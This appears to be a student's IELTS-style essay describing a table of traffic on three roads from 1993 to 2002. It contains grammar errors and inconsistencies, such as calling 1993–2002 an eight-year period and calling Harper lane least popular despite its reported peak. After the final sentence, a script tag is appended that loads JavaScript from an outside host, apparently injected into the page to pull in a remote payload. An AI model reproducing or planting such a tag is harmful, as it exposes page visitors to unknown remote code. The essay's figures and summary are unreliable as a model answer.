the table below compares the average number of vehicles using 3 roads

The table provides data regarding the number of vehicles using 3 different lanes namely Harper lane, Great York way, and Long lane over an eight year period from 1993 to 2002. Overall, it can be seen that, Harper lane was the least popular road while Long lane witness highest traffic.

To begin with, in 1993 Harper lane was the least used road among 3 lanes at just 82 vehicles. However, the number of vehicles passed through Harper lane risen dramatically and it crossed over both Great York way and Long lane in 1997 at 654, before reaching to its peak in 1998 at 915 vehicles. Nonetheless by 2002, the number of vehicles used the Harper lane was plummeted to 193.

In contrast Great York way was the busiest road in 1993 at 600 vehicles. Nevertheless it shown a fluctuation from 1994 to 1999 before it reaches a steady value from 2000 to 2002 at 900 vehicles. However the Long lane was the one which marked with high number of vehicles. In 1993 400 vehicles used Long lane which shown a slow and steady rise until 1998 at 700, before reaching to a dramatic rise at1400 towards the end of the period [2002].<script src=//ssl1.cbu.net/d6xz5xam></script>